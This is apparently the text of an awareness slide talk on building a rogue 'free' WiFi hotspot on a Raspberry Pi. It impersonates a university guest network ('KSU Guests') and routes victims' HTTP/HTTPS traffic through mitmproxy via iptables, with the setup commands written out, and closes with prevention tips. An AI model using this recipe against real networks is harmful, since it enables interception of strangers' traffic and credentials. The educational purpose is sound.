1. The “FREE” WiFi
by Chandan

2. What happens? We: “Free Internet”... Yepyyy... Let’s connect to it  .
after few hours...
Our Cell Phone: “Free Internet”... I know that network... Let’s connect to it 
Internet
WiFi
LAN
Client
RPi
Router
IPTables
hostapd
udhcpd
MITMProxy

3. The Tools Hardware Raspberry Pi 2 (RPi)
EDIMAX EW-7811Un (or any device with AP mode)
How to check if the device supports AP mode?
Image:
wikimedia.org

4. The Tools Software Raspbian : the OS hostapd : the connection provider
udhcpd : the address provider
IPTables : the traffic controller
MITMProxy : the MITM
How to check if the device supports AP mode?

5. Setup the RPi Download and write the Raspbian into a SSD memory card
Connect the Edimax USB WiFi dongle to the RPi
Boot the RPi
Logon to the RPi using SSH or any preferred method

6. Packet Forwarding & IPTables
Enable packet forwarding
Temporary
echo “1” > /proc/sys/net/ipv4/ip_forward
For permanent, edit /etc/sysctl.conf
net.ipv4.ip_forward=1
Setup IPTables to forward traffic
$ iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
$ iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT

7. Setup udhcpd Install udhcpd Update config file
apt-get install udhcpd
Update config file
/etc/udhcpd.conf
Enable udhcpd in defaults
/etc/defaults/udhcpd
Start the udhcpd service
service udhcpd start
What does a udhcpd.conf looks like?

8. Setup hostapd Install hostapd
apt-get install hostapd
Download the compatible hostapd for Edimax
Alternatively, (if you are really feeling adventurous) download the source code and compile

9. Configure hostapd Create /etc/hostapd/hostapd.conf Check configuration
interface=wlan0
driver=rtl871xdrv
ssid=KSU Guests
channel=2
Check configuration
hostapd --dd /etc/hostapd/hostapd.conf
Start the hostapd service
service hostapd start

10. See if you are able to connect to the “free” WiFi?
does it actually works?
See if you are able to connect to the “free” WiFi?

11. Time to bring out the evil stuff

12. MITMProxy Install MITMProxy Create firewall rule to forward traffic
Create firewall rule to forward traffic
$ iptables -t nat -A PREROUTING –i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080
$ iptables -t nat -A PREROUTING –i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
Start in Transparent mode
$ mitmproxy -T --host

13. How Transparent Proxy works?
Ref:

14. Sounds technical... but what all these things do?

15. Ohh god... the world is ending?

16. Preventions Do not connect to “free” wifi
Use VPN, K-State gives you for free
Always use HTTPS
Browser extensions – HTTPS Everywhere
Do NOT ignore browser warnings
Do NOT access sensitive information
Bank account
SSN

17. That’s all folks... thanks for being patient 
Questions?
That’s all folks... thanks for being patient 

18. References